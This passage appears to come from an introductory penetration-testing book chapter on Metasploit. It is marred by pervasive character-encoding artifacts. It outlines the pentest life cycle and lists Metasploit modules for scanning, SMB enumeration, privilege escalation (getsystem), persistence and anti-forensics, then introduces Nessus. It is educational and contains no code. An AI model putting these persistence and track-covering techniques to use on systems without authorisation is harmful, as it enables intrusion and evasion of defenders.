�W�h�i�l�e� �m�o�s�t� �v�u�l�n�e�r�a�b�i�l�i�t�y� �a�s�s�e�s�s�m�e�n�t�s� �a�r�e� �n�o�n�-�i�n�v�a�s�i�v�e� �i�n� �n�a�t�u�r�e�,� �t�h�e� �p�e�n�e�t�r�a�t�i�o�n� �t�e�s�t� �c�o�u�l�d
�c�a�u�s�e� �d�a�m�a�g�e� �t�o� �t�h�e� �t�a�r�g�e�t� �i�f� �n�o�t� �d�o�n�e� �i�n� �a� �c�o�n�t�r�o�l�l�e�d� �m�a�n�n�e�r�.� �D�e�p�e�n�d�i�n�g� �o�n� �t�h�e� �s�p�e�c�i�f�i�c
�c�o�m�p�l�i�a�n�c�e� �n�e�e�d�s�,� �s�o�m�e� �o�r�g�a�n�i�z�a�t�i�o�n�s� �c�h�o�o�s�e� �t�o� �p�e�r�f�o�r�m� �o�n�l�y� �a� �v�u�l�n�e�r�a�b�i�l�i�t�y� �a�s�s�e�s�s�m�e�n�t�,
�w�h�i�l�e� �o�t�h�e�r�s� �g�o� �a�h�e�a�d� �a�n�d� �p�e�r�f�o�r�m� �a� �p�e�n�e�t�r�a�t�i�o�n� �t�e�s�t� �a�s� �w�e�l�l�.

�T�h�e� �n�e�e�d� �f�o�r� �a� �p�e�n�e�t�r�a�t�i�o�n� �t�e�s�t�i�n�g
�f�r�a�m�e�w�o�r�k
�P�e�n�e�t�r�a�t�i�o�n� �t�e�s�t�i�n�g� �i�s� �n�o�t� �j�u�s�t� �a�b�o�u�t� �r�u�n�n�i�n�g� �a� �s�e�t� �o�f� �a� �f�e�w� �a�u�t�o�m�a�t�e�d� �t�o�o�l�s� �a�g�a�i�n�s�t� �y�o�u�r
�t�a�r�g�e�t�.� �I�t�'�s� �a� �c�o�m�p�l�e�t�e� �p�r�o�c�e�s�s� �t�h�a�t� �i�n�v�o�l�v�e�s� �m�u�l�t�i�p�l�e� �s�t�a�g�e�s�,� �a�n�d� �e�a�c�h� �s�t�a�g�e� �i�s� �e�q�u�a�l�l�y
�i�m�p�o�r�t�a�n�t� �f�o�r� �t�h�e� �s�u�c�c�e�s�s� �o�f� �t�h�e� �p�r�o�j�e�c�t�.� �N�o�w�,� �f�o�r� �p�e�r�f�o�r�m�i�n�g� �a�l�l� �t�a�s�k�s� �t�h�r�o�u�g�h�o�u�t� �a�l�l� �s�t�a�g�e�s
�o�f� �p�e�n�e�t�r�a�t�i�o�n� �t�e�s�t�i�n�g�,� �w�e� �w�o�u�l�d� �n�e�e�d� �t�o� �u�s�e� �v�a�r�i�o�u�s� �d�i�f�f�e�r�e�n�t� �t�o�o�l�s� �a�n�d� �m�i�g�h�t� �n�e�e�d� �t�o
�p�e�r�f�o�r�m� �s�o�m�e� �t�a�s�k�s� �m�a�n�u�a�l�l�y�.� �T�h�e�n�,� �a�t� �t�h�e� �e�n�d�,� �w�e� �w�o�u�l�d� �n�e�e�d� �t�o� �c�o�m�b�i�n�e� �r�e�s�u�l�t�s� �f�r�o�m� �s�o
�m�a�n�y� �d�i�f�f�e�r�e�n�t� �t�o�o�l�s� �t�o�g�e�t�h�e�r� �i�n� �o�r�d�e�r� �t�o� �p�r�o�d�u�c�e� �a� �s�i�n�g�l�e� �m�e�a�n�i�n�g�f�u�l� �r�e�p�o�r�t�.� �T�h�i�s� �i�s
�c�e�r�t�a�i�n�l�y� �a� �d�a�u�n�t�i�n�g� �t�a�s�k�.� �I�t� �w�o�u�l�d� �h�a�v�e� �b�e�e�n� �r�e�a�l�l�y� �e�a�s�y� �a�n�d� �t�i�m�e�-�s�a�v�i�n�g� �i�f� �o�n�e� �s�i�n�g�l�e� �t�o�o�l
�c�o�u�l�d� �h�a�v�e� �h�e�l�p�e�d� �u�s� �p�e�r�f�o�r�m� �a�l�l� �t�h�e� �r�e�q�u�i�r�e�d� �t�a�s�k�s� �f�o�r� �p�e�n�e�t�r�a�t�i�o�n� �t�e�s�t�i�n�g�.� �T�h�i�s� �e�x�a�c�t� �n�e�e�d
�i�s� �s�a�t�i�s�f�i�e�d� �b�y� �a� �f�r�a�m�e�w�o�r�k� �s�u�c�h� �a�s� �M�e�t�a�s�p�l�o�i�t�.

�I�n�t�r�o�d�u�c�t�i�o�n� �t�o� �M�e�t�a�s�p�l�o�i�t
�T�h�e� �b�i�r�t�h� �o�f� �M�e�t�a�s�p�l�o�i�t� �d�a�t�e�s� �b�a�c�k� �t�o� �1�4� �y�e�a�r�s� �a�g�o�,� �w�h�e�n� �H�.�D� �M�o�o�r�e�,� �i�n� �2�0�0�3�,� �w�r�o�t�e� �a
�p�o�r�t�a�b�l�e� �n�e�t�w�o�r�k� �t�o�o�l� �u�s�i�n�g� �P�e�r�l�.� �B�y� �2�0�0�7�,� �i�t� �w�a�s� �r�e�w�r�i�t�t�e�n� �i�n� �R�u�b�y�.� �T�h�e� �M�e�t�a�s�p�l�o�i�t� �p�r�o�j�e�c�t
�r�e�c�e�i�v�e�d� �a� �m�a�j�o�r� �c�o�m�m�e�r�c�i�a�l� �b�o�o�s�t� �w�h�e�n� �R�a�p�i�d�7� �a�c�q�u�i�r�e�d� �t�h�e� �p�r�o�j�e�c�t� �i�n� �2�0�0�9�.� �M�e�t�a�s�p�l�o�i�t� �i�s
�e�s�s�e�n�t�i�a�l�l�y� �a� �r�o�b�u�s�t� �a�n�d� �v�e�r�s�a�t�i�l�e� �p�e�n�e�t�r�a�t�i�o�n� �t�e�s�t�i�n�g� �f�r�a�m�e�w�o�r�k�.� �I�t� �c�a�n� �l�i�t�e�r�a�l�l�y� �p�e�r�f�o�r�m� �a�l�l
�t�a�s�k�s� �t�h�a�t� �a�r�e� �i�n�v�o�l�v�e�d� �i�n� �a� �p�e�n�e�t�r�a�t�i�o�n� �t�e�s�t�i�n�g� �l�i�f�e� �c�y�c�l�e�.� �W�i�t�h� �t�h�e� �u�s�e� �o�f� �M�e�t�a�s�p�l�o�i�t�,� �y�o�u
�d�o�n�'�t� �r�e�a�l�l�y� �n�e�e�d� �t�o� �r�e�i�n�v�e�n�t� �t�h�e� �w�h�e�e�l�!� �Y�o�u� �j�u�s�t� �n�e�e�d� �t�o� �f�o�c�u�s� �o�n� �t�h�e� �c�o�r�e� �o�b�j�e�c�t�i�v�e�s�;� �t�h�e
�s�u�p�p�o�r�t�i�n�g� �a�c�t�i�o�n�s� �w�o�u�l�d� �a�l�l� �b�e� �p�e�r�f�o�r�m�e�d� �t�h�r�o�u�g�h� �v�a�r�i�o�u�s� �c�o�m�p�o�n�e�n�t�s� �a�n�d� �m�o�d�u�l�e�s� �o�f
�t�h�e� �f�r�a�m�e�w�o�r�k�.� �A�l�s�o�,� �s�i�n�c�e� �i�t�'�s� �a� �c�o�m�p�l�e�t�e� �f�r�a�m�e�w�o�r�k� �a�n�d� �n�o�t� �j�u�s�t� �a�n� �a�p�p�l�i�c�a�t�i�o�n�,� �i�t� �c�a�n� �b�e
�c�u�s�t�o�m�i�z�e�d� �a�n�d� �e�x�t�e�n�d�e�d� �a�s� �p�e�r� �o�u�r� �r�e�q�u�i�r�e�m�e�n�t�s�.
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�M�e�t�a�s�p�l�o�i�t� �i�s�,� �n�o� �d�o�u�b�t�,� �a� �v�e�r�y� �p�o�w�e�r�f�u�l� �t�o�o�l� �f�o�r� �p�e�n�e�t�r�a�t�i�o�n� �t�e�s�t�i�n�g�.� �H�o�w�e�v�e�r�,� �i�t�'�s� �c�e�r�t�a�i�n�l�y
�n�o�t� �a� �m�a�g�i�c� �w�a�n�d� �t�h�a�t� �c�a�n� �h�e�l�p� �y�o�u� �h�a�c�k� �i�n�t�o� �a�n�y� �g�i�v�e�n� �t�a�r�g�e�t� �s�y�s�t�e�m�.� �I�t�'�s� �i�m�p�o�r�t�a�n�t� �t�o
�u�n�d�e�r�s�t�a�n�d� �t�h�e� �c�a�p�a�b�i�l�i�t�i�e�s� �o�f� �M�e�t�a�s�p�l�o�i�t� �s�o� �t�h�a�t� �i�t� �c�a�n� �b�e� �l�e�v�e�r�a�g�e�d� �o�p�t�i�m�a�l�l�y� �d�u�r�i�n�g
�p�e�n�e�t�r�a�t�i�o�n� �t�e�s�t�i�n�g�.

�W�h�i�l�e� �t�h�e� �i�n�i�t�i�a�l� �M�e�t�a�s�p�l�o�i�t� �p�r�o�j�e�c�t� �w�a�s� �o�p�e�n� �s�o�u�r�c�e�,� �a�f�t�e�r� �t�h�e� �a�c�q�u�i�s�i�t�i�o�n� �b�y� �R�a�p�i�d�7�,
�c�o�m�m�e�r�c�i�a�l� �g�r�a�d�e� �v�e�r�s�i�o�n�s� �o�f� �M�e�t�a�s�p�l�o�i�t� �a�l�s�o� �c�a�m�e� �i�n�t�o� �e�x�i�s�t�e�n�c�e�.� �F�o�r� �t�h�e� �s�c�o�p�e� �o�f� �t�h�i�s
�b�o�o�k�,� �w�e�'�l�l� �b�e� �u�s�i�n�g� �t�h�e� �M�e�t�a�s�p�l�o�i�t� �F�r�a�m�e�w�o�r�k� �e�d�i�t�i�o�n�.

�D�i�d� �y�o�u� �k�n�o�w�?� �T�h�e� �M�e�t�a�s�p�l�o�i�t� �F�r�a�m�e�w�o�r�k� �h�a�s� �m�o�r�e� �t�h�a�n� �3�0�0�0� �d�i�f�f�e�r�e�n�t
�m�o�d�u�l�e�s� �a�v�a�i�l�a�b�l�e� �f�o�r� �e�x�p�l�o�i�t�i�n�g� �v�a�r�i�o�u�s� �a�p�p�l�i�c�a�t�i�o�n�s�,� �p�r�o�d�u�c�t�s�,� �a�n�d
�p�l�a�t�f�o�r�m�s�,� �a�n�d� �t�h�i�s� �n�u�m�b�e�r� �i�s� �g�r�o�w�i�n�g� �o�n� �a� �r�e�g�u�l�a�r� �b�a�s�i�s�.

�W�h�e�n� �t�o� �u�s�e� �M�e�t�a�s�p�l�o�i�t�?
�T�h�e�r�e� �a�r�e� �l�i�t�e�r�a�l�l�y� �t�o�n�s� �o�f� �t�o�o�l�s� �a�v�a�i�l�a�b�l�e� �f�o�r� �p�e�r�f�o�r�m�i�n�g� �v�a�r�i�o�u�s� �t�a�s�k�s� �r�e�l�a�t�e�d� �t�o� �p�e�n�e�t�r�a�t�i�o�n
�t�e�s�t�i�n�g�.� �H�o�w�e�v�e�r�,� �m�o�s�t� �o�f� �t�h�e� �t�o�o�l�s� �s�e�r�v�e� �o�n�l�y� �o�n�e� �u�n�i�q�u�e� �p�u�r�p�o�s�e�.� �U�n�l�i�k�e� �t�h�e�s�e� �t�o�o�l�s�,
�M�e�t�a�s�p�l�o�i�t� �i�s� �t�h�e� �o�n�e� �t�h�a�t� �c�a�n� �p�e�r�f�o�r�m� �m�u�l�t�i�p�l�e� �t�a�s�k�s� �t�h�r�o�u�g�h�o�u�t� �t�h�e� �p�e�n�e�t�r�a�t�i�o�n� �t�e�s�t�i�n�g� �l�i�f�e
�c�y�c�l�e�.� �B�e�f�o�r�e� �w�e� �c�h�e�c�k� �t�h�e� �e�x�a�c�t� �u�s�e� �o�f� �M�e�t�a�s�p�l�o�i�t� �i�n� �p�e�n�e�t�r�a�t�i�o�n� �t�e�s�t�i�n�g�,� �l�e�t�'�s� �h�a�v�e� �a� �b�r�i�e�f
�o�v�e�r�v�i�e�w� �o�f� �v�a�r�i�o�u�s� �p�h�a�s�e�s� �o�f� �p�e�n�e�t�r�a�t�i�o�n� �t�e�s�t�i�n�g�.� �T�h�e� �f�o�l�l�o�w�i�n�g� �d�i�a�g�r�a�m� �s�h�o�w�s� �t�h�e� �t�y�p�i�c�a�l
�p�h�a�s�e�s� �o�f� �t�h�e� �p�e�n�e�t�r�a�t�i�o�n� �t�e�s�t�i�n�g� �l�i�f�e� �c�y�c�l�e�:

Phases of penetration testing life cycle
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�I�n�f�o�r�m�a�t�i�o�n� �G�a�t�h�e�r�i�n�g�:� �T�h�o�u�g�h� �t�h�e� �I�n�f�o�r�m�a�t�i�o�n� �G�a�t�h�e�r�i�n�g� �p�h�a�s�e� �m�a�y� �l�o�o�k� �v�e�r�y�1�.
�t�r�i�v�i�a�l�,� �i�t� �i�s� �o�n�e� �o�f� �t�h�e� �m�o�s�t� �i�m�p�o�r�t�a�n�t� �p�h�a�s�e�s� �f�o�r� �t�h�e� �s�u�c�c�e�s�s� �o�f� �a� �p�e�n�e�t�r�a�t�i�o�n
�t�e�s�t�i�n�g� �p�r�o�j�e�c�t�.� �T�h�e� �m�o�r�e� �y�o�u� �k�n�o�w� �a�b�o�u�t� �y�o�u�r� �t�a�r�g�e�t�,� �t�h�e� �m�o�r�e� �t�h�e� �c�h�a�n�c�e�s� �a�r�e
�t�h�a�t� �y�o�u� �f�i�n�d� �t�h�e� �r�i�g�h�t� �v�u�l�n�e�r�a�b�i�l�i�t�i�e�s� �a�n�d� �e�x�p�l�o�i�t�s� �t�o� �w�o�r�k� �f�o�r� �y�o�u�.� �H�e�n�c�e�,� �i�t�'�s
�w�o�r�t�h� �i�n�v�e�s�t�i�n�g� �s�u�b�s�t�a�n�t�i�a�l� �t�i�m�e� �a�n�d� �e�f�f�o�r�t�s� �i�n� �g�a�t�h�e�r�i�n�g� �a�s� �m�u�c�h� �i�n�f�o�r�m�a�t�i�o�n� �a�s
�p�o�s�s�i�b�l�e� �a�b�o�u�t� �t�h�e� �t�a�r�g�e�t� �u�n�d�e�r� �t�h�e� �s�c�o�p�e�.� �I�n�f�o�r�m�a�t�i�o�n� �g�a�t�h�e�r�i�n�g� �c�a�n� �b�e� �o�f� �t�w�o
�t�y�p�e�s�,� �a�s� �f�o�l�l�o�w�s�:

�P�a�s�s�i�v�e� �i�n�f�o�r�m�a�t�i�o�n� �g�a�t�h�e�r�i�n�g�:� �P�a�s�s�i�v�e� �i�n�f�o�r�m�a�t�i�o�n� �g�a�t�h�e�r�i�n�g� �i�n�v�o�l�v�e�s
�c�o�l�l�e�c�t�i�n�g� �i�n�f�o�r�m�a�t�i�o�n� �a�b�o�u�t� �t�h�e� �t�a�r�g�e�t� �t�h�r�o�u�g�h� �p�u�b�l�i�c�l�y� �a�v�a�i�l�a�b�l�e
�s�o�u�r�c�e�s� �s�u�c�h� �a�s� �s�o�c�i�a�l� �m�e�d�i�a� �a�n�d� �s�e�a�r�c�h� �e�n�g�i�n�e�s�.� �N�o� �d�i�r�e�c�t� �c�o�n�t�a�c�t� �w�i�t�h
�t�h�e� �t�a�r�g�e�t� �i�s� �m�a�d�e�.
�A�c�t�i�v�e� �i�n�f�o�r�m�a�t�i�o�n� �g�a�t�h�e�r�i�n�g�:� �A�c�t�i�v�e� �i�n�f�o�r�m�a�t�i�o�n� �g�a�t�h�e�r�i�n�g� �i�n�v�o�l�v�e�s
�t�h�e� �u�s�e� �o�f� �s�p�e�c�i�a�l�i�z�e�d� �t�o�o�l�s� �s�u�c�h� �a�s� �p�o�r�t� �s�c�a�n�n�e�r�s� �t�o� �g�a�i�n� �i�n�f�o�r�m�a�t�i�o�n
�a�b�o�u�t� �t�h�e� �t�a�r�g�e�t� �s�y�s�t�e�m�.� �I�t� �i�n�v�o�l�v�e�s� �m�a�k�i�n�g� �d�i�r�e�c�t� �c�o�n�t�a�c�t� �w�i�t�h� �t�h�e
�t�a�r�g�e�t� �s�y�s�t�e�m�,� �h�e�n�c�e� �t�h�e�r�e� �c�o�u�l�d� �b�e� �a� �p�o�s�s�i�b�i�l�i�t�y� �o�f� �t�h�e� �i�n�f�o�r�m�a�t�i�o�n
�g�a�t�h�e�r�i�n�g� �a�t�t�e�m�p�t� �g�e�t�t�i�n�g� �n�o�t�i�c�e�d� �b�y� �t�h�e� �f�i�r�e�w�a�l�l�,� �I�D�S�,� �o�r� �I�P�S� �i�n� �t�h�e
�t�a�r�g�e�t� �n�e�t�w�o�r�k�.

�E�n�u�m�e�r�a�t�i�o�n�:� �U�s�i�n�g� �a�c�t�i�v�e� �a�n�d�/�o�r� �p�a�s�s�i�v�e� �i�n�f�o�r�m�a�t�i�o�n� �g�a�t�h�e�r�i�n�g� �t�e�c�h�n�i�q�u�e�s�,� �o�n�e�2�.
�c�a�n� �h�a�v�e� �a� �p�r�e�l�i�m�i�n�a�r�y� �o�v�e�r�v�i�e�w� �o�f� �t�h�e� �t�a�r�g�e�t� �s�y�s�t�e�m�/�n�e�t�w�o�r�k�.� �M�o�v�i�n�g� �f�u�r�t�h�e�r�,
�e�n�u�m�e�r�a�t�i�o�n� �a�l�l�o�w�s� �u�s� �t�o� �k�n�o�w� �w�h�a�t� �t�h�e� �e�x�a�c�t� �s�e�r�v�i�c�e�s� �r�u�n�n�i�n�g� �o�n� �t�h�e� �t�a�r�g�e�t
�s�y�s�t�e�m� �(�i�n�c�l�u�d�i�n�g� �t�y�p�e�s� �a�n�d� �v�e�r�s�i�o�n�s�)� �a�r�e� �a�n�d� �o�t�h�e�r� �i�n�f�o�r�m�a�t�i�o�n� �s�u�c�h� �a�s� �u�s�e�r�s�,
�s�h�a�r�e�s�,� �a�n�d� �D�N�S� �e�n�t�r�i�e�s�.� �E�n�u�m�e�r�a�t�i�o�n� �p�r�e�p�a�r�e�s� �a� �c�l�e�a�r�e�r� �b�l�u�e�p�r�i�n�t� �o�f� �t�h�e� �t�a�r�g�e�t
�w�e� �a�r�e� �t�r�y�i�n�g� �t�o� �p�e�n�e�t�r�a�t�e�.
�G�a�i�n�i�n�g� �A�c�c�e�s�s�:� �B�a�s�e�d� �o�n� �t�h�e� �t�a�r�g�e�t� �b�l�u�e�p�r�i�n�t� �t�h�a�t� �w�e� �o�b�t�a�i�n�e�d� �f�r�o�m� �t�h�e�3�.
�i�n�f�o�r�m�a�t�i�o�n� �g�a�t�h�e�r�i�n�g� �a�n�d� �e�n�u�m�e�r�a�t�i�o�n� �p�h�a�s�e�,� �i�t�'�s� �n�o�w� �t�i�m�e� �t�o� �e�x�p�l�o�i�t� �t�h�e
�v�u�l�n�e�r�a�b�i�l�i�t�i�e�s� �i�n� �t�h�e� �t�a�r�g�e�t� �s�y�s�t�e�m� �a�n�d� �g�a�i�n� �a�c�c�e�s�s�.� �G�a�i�n�i�n�g� �a�c�c�e�s�s� �t�o� �t�h�i�s� �t�a�r�g�e�t
�s�y�s�t�e�m� �i�n�v�o�l�v�e�s� �e�x�p�l�o�i�t�i�n�g� �o�n�e� �o�r� �m�a�n�y� �o�f� �t�h�e� �v�u�l�n�e�r�a�b�i�l�i�t�i�e�s� �f�o�u�n�d� �d�u�r�i�n�g
�e�a�r�l�i�e�r� �s�t�a�g�e�s� �a�n�d� �p�o�s�s�i�b�l�y� �b�y�p�a�s�s�i�n�g� �t�h�e� �s�e�c�u�r�i�t�y� �c�o�n�t�r�o�l�s� �d�e�p�l�o�y�e�d� �i�n� �t�h�e� �t�a�r�g�e�t
�s�y�s�t�e�m� �(�s�u�c�h� �a�s� �a�n�t�i�v�i�r�u�s�,� �f�i�r�e�w�a�l�l�,� �I�D�S�,� �a�n�d� �I�P�S�)�.
�P�r�i�v�i�l�e�g�e� �E�s�c�a�l�a�t�i�o�n�:� �Q�u�i�t�e� �o�f�t�e�n�,� �e�x�p�l�o�i�t�i�n�g� �a� �v�u�l�n�e�r�a�b�i�l�i�t�y� �o�n� �t�h�e� �t�a�r�g�e�t� �g�i�v�e�s�4�.
�l�i�m�i�t�e�d� �a�c�c�e�s�s� �t�o� �t�h�e� �s�y�s�t�e�m�.� �H�o�w�e�v�e�r�,� �w�e� �w�o�u�l�d� �w�a�n�t� �c�o�m�p�l�e�t�e
�r�o�o�t�/�a�d�m�i�n�i�s�t�r�a�t�o�r� �l�e�v�e�l� �a�c�c�e�s�s� �i�n�t�o� �t�h�e� �t�a�r�g�e�t� �i�n� �o�r�d�e�r� �t�o� �g�a�i�n� �m�o�s�t� �o�u�t� �o�f� �o�u�r
�e�x�e�r�c�i�s�e�.� �T�h�i�s� �c�a�n� �b�e� �a�c�h�i�e�v�e�d� �u�s�i�n�g� �v�a�r�i�o�u�s� �t�e�c�h�n�i�q�u�e�s� �t�o� �e�s�c�a�l�a�t�e� �p�r�i�v�i�l�e�g�e�s� �o�f
�t�h�e� �e�x�i�s�t�i�n�g� �u�s�e�r�.� �O�n�c�e� �s�u�c�c�e�s�s�f�u�l�,� �w�e� �c�a�n� �h�a�v�e� �f�u�l�l� �c�o�n�t�r�o�l� �o�v�e�r� �t�h�e� �s�y�s�t�e�m� �w�i�t�h
�h�i�g�h�e�s�t� �p�r�i�v�i�l�e�g�e�s� �a�n�d� �c�a�n� �p�o�s�s�i�b�l�y� �i�n�f�i�l�t�r�a�t�e� �d�e�e�p�e�r� �i�n�t�o� �t�h�e� �t�a�r�g�e�t�.
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�M�a�i�n�t�a�i�n�i�n�g� �A�c�c�e�s�s�:� �S�o� �f�a�r�,� �i�t� �h�a�s� �t�a�k�e�n� �a� �l�o�t� �o�f� �e�f�f�o�r�t� �t�o� �g�a�i�n� �a� �r�o�o�t�/�a�d�m�i�n�i�s�t�r�a�t�o�r�5�.
�l�e�v�e�l� �a�c�c�e�s�s� �i�n�t�o� �o�u�r� �t�a�r�g�e�t� �s�y�s�t�e�m�.� �N�o�w�,� �w�h�a�t� �i�f� �t�h�e� �a�d�m�i�n�i�s�t�r�a�t�o�r� �o�f� �t�h�e� �t�a�r�g�e�t
�s�y�s�t�e�m� �r�e�s�t�a�r�t�s� �t�h�e� �s�y�s�t�e�m�?� �A�l�l� �o�u�r� �h�a�r�d� �w�o�r�k� �w�i�l�l� �b�e� �i�n� �v�a�i�n�.� �I�n� �o�r�d�e�r� �t�o� �a�v�o�i�d
�t�h�i�s�,� �w�e� �n�e�e�d� �t�o� �m�a�k�e� �a� �p�r�o�v�i�s�i�o�n� �f�o�r� �p�e�r�s�i�s�t�e�n�t� �a�c�c�e�s�s� �i�n�t�o� �t�h�e� �t�a�r�g�e�t� �s�y�s�t�e�m� �s�o
�t�h�a�t� �a�n�y� �r�e�s�t�a�r�t�s� �o�f� �t�h�e� �t�a�r�g�e�t� �s�y�s�t�e�m� �w�o�n�'�t� �a�f�f�e�c�t� �o�u�r� �a�c�c�e�s�s�.
�C�o�v�e�r�i�n�g� �T�r�a�c�k�s�:� �W�h�i�l�e� �w�e� �h�a�v�e� �r�e�a�l�l�y� �w�o�r�k�e�d� �h�a�r�d� �t�o� �e�x�p�l�o�i�t� �v�u�l�n�e�r�a�b�i�l�i�t�i�e�s�,�6�.
�e�s�c�a�l�a�t�e� �p�r�i�v�i�l�e�g�e�s�,� �a�n�d� �m�a�k�e� �o�u�r� �a�c�c�e�s�s� �p�e�r�s�i�s�t�e�n�t�,� �i�t�'�s� �q�u�i�t�e� �p�o�s�s�i�b�l�e� �t�h�a�t� �o�u�r
�a�c�t�i�v�i�t�i�e�s� �c�o�u�l�d� �h�a�v�e� �t�r�i�g�g�e�r�e�d� �a�n� �a�l�a�r�m� �o�n� �t�h�e� �s�e�c�u�r�i�t�y� �s�y�s�t�e�m�s� �o�f� �t�h�e� �t�a�r�g�e�t
�s�y�s�t�e�m�.� �T�h�e� �i�n�c�i�d�e�n�t� �r�e�s�p�o�n�s�e� �t�e�a�m� �m�a�y� �a�l�r�e�a�d�y� �b�e� �i�n� �a�c�t�i�o�n�,� �t�r�a�c�i�n�g� �a�l�l� �t�h�e
�e�v�i�d�e�n�c�e� �t�h�a�t� �m�a�y� �l�e�a�d� �b�a�c�k� �t�o� �u�s�.� �B�a�s�e�d� �o�n� �t�h�e� �a�g�r�e�e�d� �p�e�n�e�t�r�a�t�i�o�n� �t�e�s�t�i�n�g
�c�o�n�t�r�a�c�t� �t�e�r�m�s�,� �w�e� �n�e�e�d� �t�o� �c�l�e�a�r� �a�l�l� �t�h�e� �t�o�o�l�s�,� �e�x�p�l�o�i�t�s�,� �a�n�d� �b�a�c�k�d�o�o�r�s� �t�h�a�t� �w�e
�u�p�l�o�a�d�e�d� �o�n� �t�h�e� �t�a�r�g�e�t� �d�u�r�i�n�g� �t�h�e� �c�o�m�p�r�o�m�i�s�e�.

�I�n�t�e�r�e�s�t�i�n�g�l�y� �e�n�o�u�g�h�,� �M�e�t�a�s�p�l�o�i�t� �l�i�t�e�r�a�l�l�y� �h�e�l�p�s� �u�s� �i�n� �a�l�l� �p�e�n�e�t�r�a�t�i�o�n� �t�e�s�t�i�n�g� �s�t�a�g�e�s� �l�i�s�t�e�d
�p�r�e�v�i�o�u�s�l�y�.

�T�h�e� �f�o�l�l�o�w�i�n�g� �t�a�b�l�e� �l�i�s�t�s� �v�a�r�i�o�u�s� �M�e�t�a�s�p�l�o�i�t� �c�o�m�p�o�n�e�n�t�s� �a�n�d� �m�o�d�u�l�e�s� �t�h�a�t� �c�a�n� �b�e� �u�s�e�d
�a�c�r�o�s�s� �a�l�l� �s�t�a�g�e�s� �o�f� �p�e�n�e�t�r�a�t�i�o�n� �t�e�s�t�i�n�g�:

�S�r�.
�N�o�.

�P�e�n�e�t�r�a�t�i�o�n� �t�e�s�t�i�n�g
�p�h�a�s�e

�U�s�e� �o�f� �M�e�t�a�s�p�l�o�i�t

�1 �I�n�f�o�r�m�a�t�i�o�n� �G�a�t�h�e�r�i�n�gAuxiliary modules: portscan/syn �,� portscan/tcp,
smb_version �,� db_nmap�,� scanner/ftp/ftp_version �,� �a�n�d
gather/shodan_search

�2 �E�n�u�m�e�r�a�t�i�o�n smb/smb_enumshares �,� smb/smb_enumusers �,� �a�n�d
smb/smb_login

�3 �G�a�i�n�i�n�g� �A�c�c�e�s�s �A�l�l� �M�e�t�a�s�p�l�o�i�t� �e�x�p�l�o�i�t�s� �a�n�d� �p�a�y�l�o�a�d�s

�4 �P�r�i�v�i�l�e�g�e� �E�s�c�a�l�a�t�i�o�nmeterpreter-use priv � �a�n�d� meterpreter-getsystem

�5 �M�a�i�n�t�a�i�n�i�n�g� �A�c�c�e�s�smeterpreter - run persistence

�6 �C�o�v�e�r�i�n�g� �T�r�a�c�k�s �M�e�t�a�s�p�l�o�i�t� �A�n�t�i�-�F�o�r�e�n�s�i�c�s� �P�r�o�j�e�c�t

�W�e�'�l�l� �g�r�a�d�u�a�l�l�y� �c�o�v�e�r� �a�l�l� �p�r�e�v�i�o�u�s� �c�o�m�p�o�n�e�n�t�s� �a�n�d� �m�o�d�u�l�e�s� �a�s� �w�e� �p�r�o�g�r�e�s�s� �t�h�r�o�u�g�h� �t�h�e
�b�o�o�k�.



�I�n�t�r�o�d�u�c�t�i�o�n� �t�o� �M�e�t�a�s�p�l�o�i�t� �a�n�d� �S�u�p�p�o�r�t�i�n�g� �T�o�o�l�s

�[� �1�3� �]

�M�a�k�i�n�g� �M�e�t�a�s�p�l�o�i�t� �e�f�f�e�c�t�i�v�e� �a�n�d� �p�o�w�e�r�f�u�l
�u�s�i�n�g� �s�u�p�p�l�e�m�e�n�t�a�r�y� �t�o�o�l�s
�S�o� �f�a�r� �w�e� �h�a�v�e� �s�e�e�n� �t�h�a�t� �M�e�t�a�s�p�l�o�i�t� �i�s� �r�e�a�l�l�y� �a� �p�o�w�e�r�f�u�l� �f�r�a�m�e�w�o�r�k� �f�o�r� �p�e�n�e�t�r�a�t�i�o�n� �t�e�s�t�i�n�g�.
�H�o�w�e�v�e�r�,� �i�t� �c�a�n� �b�e� �m�a�d�e� �e�v�e�n� �m�o�r�e� �u�s�e�f�u�l� �i�f� �i�n�t�e�g�r�a�t�e�d� �w�i�t�h� �s�o�m�e� �o�t�h�e�r� �t�o�o�l�s�.� �T�h�i�s� �s�e�c�t�i�o�n
�c�o�v�e�r�s� �a� �f�e�w� �t�o�o�l�s� �t�h�a�t� �c�o�m�p�l�i�m�e�n�t� �M�e�t�a�s�p�l�o�i�t�'�s� �c�a�p�a�b�i�l�i�t�y� �t�o� �p�e�r�f�o�r�m� �m�o�r�e� �p�r�e�c�i�s�e
�p�e�n�e�t�r�a�t�i�o�n� �o�n� �t�h�e� �t�a�r�g�e�t� �s�y�s�t�e�m�.

�N�e�s�s�u�s
�N�e�s�s�u�s� �i�s� �a� �p�r�o�d�u�c�t� �f�r�o�m� �T�e�n�a�b�l�e� �N�e�t�w�o�r�k� �S�e�c�u�r�i�t�y� �a�n�d� �i�s� �o�n�e� �o�f� �t�h�e� �m�o�s�t� �p�o�p�u�l�a�r
�v�u�l�n�e�r�a�b�i�l�i�t�y� �a�s�s�e�s�s�m�e�n�t� �t�o�o�l�s�.� �I�t� �b�e�l�o�n�g�s� �t�o� �t�h�e� �v�u�l�n�e�r�a�b�i�l�i�t�y� �s�c�a�n�n�e�r� �c�a�t�e�g�o�r�y�.� �I�t� �i�s� �q�u�i�t�e
�e�a�s�y� �t�o� �u�s�e�,� �a�n�d� �i�t� �q�u�i�c�k�l�y� �f�i�n�d�s� �o�u�t� �i�n�f�r�a�s�t�r�u�c�t�u�r�e�-�l�e�v�e�l� �v�u�l�n�e�r�a�b�i�l�i�t�i�e�s� �i�n� �t�h�e� �t�a�r�g�e�t� �s�y�s�t�e�m�.
�O�n�c�e� �N�e�s�s�u�s� �t�e�l�l�s� �u�s� �w�h�a�t� �v�u�l�n�e�r�a�b�i�l�i�t�i�e�s� �e�x�i�s�t� �o�n� �t�h�e� �t�a�r�g�e�t� �s�y�s�t�e�m�,� �w�e� �c�a�n� �t�h�e�n� �f�e�e�d� �t�h�o�s�e
�v�u�l�n�e�r�a�b�i�l�i�t�i�e�s� �t�o� �M�e�t�a�s�p�l�o�i�t� �t�o� �s�e�e� �w�h�e�t�h�e�r� �t�h�e�y� �c�a�n� �b�e� �e�x�p�l�o�i�t�e�d� �f�o�r� �r�e�a�l�.

�I�t�s� �o�f�f�i�c�i�a�l� �w�e�b�s�i�t�e� �i�s� h  t  t  p  s  ://w  w w .  t  e  n  a  b  l  e  .  c  o  m / �.� �T�h�e� �f�o�l�l�o�w�i�n�g� �i�m�a�g�e� �s�h�o�w�s� �t�h�e� �N�e�s�s�u�s
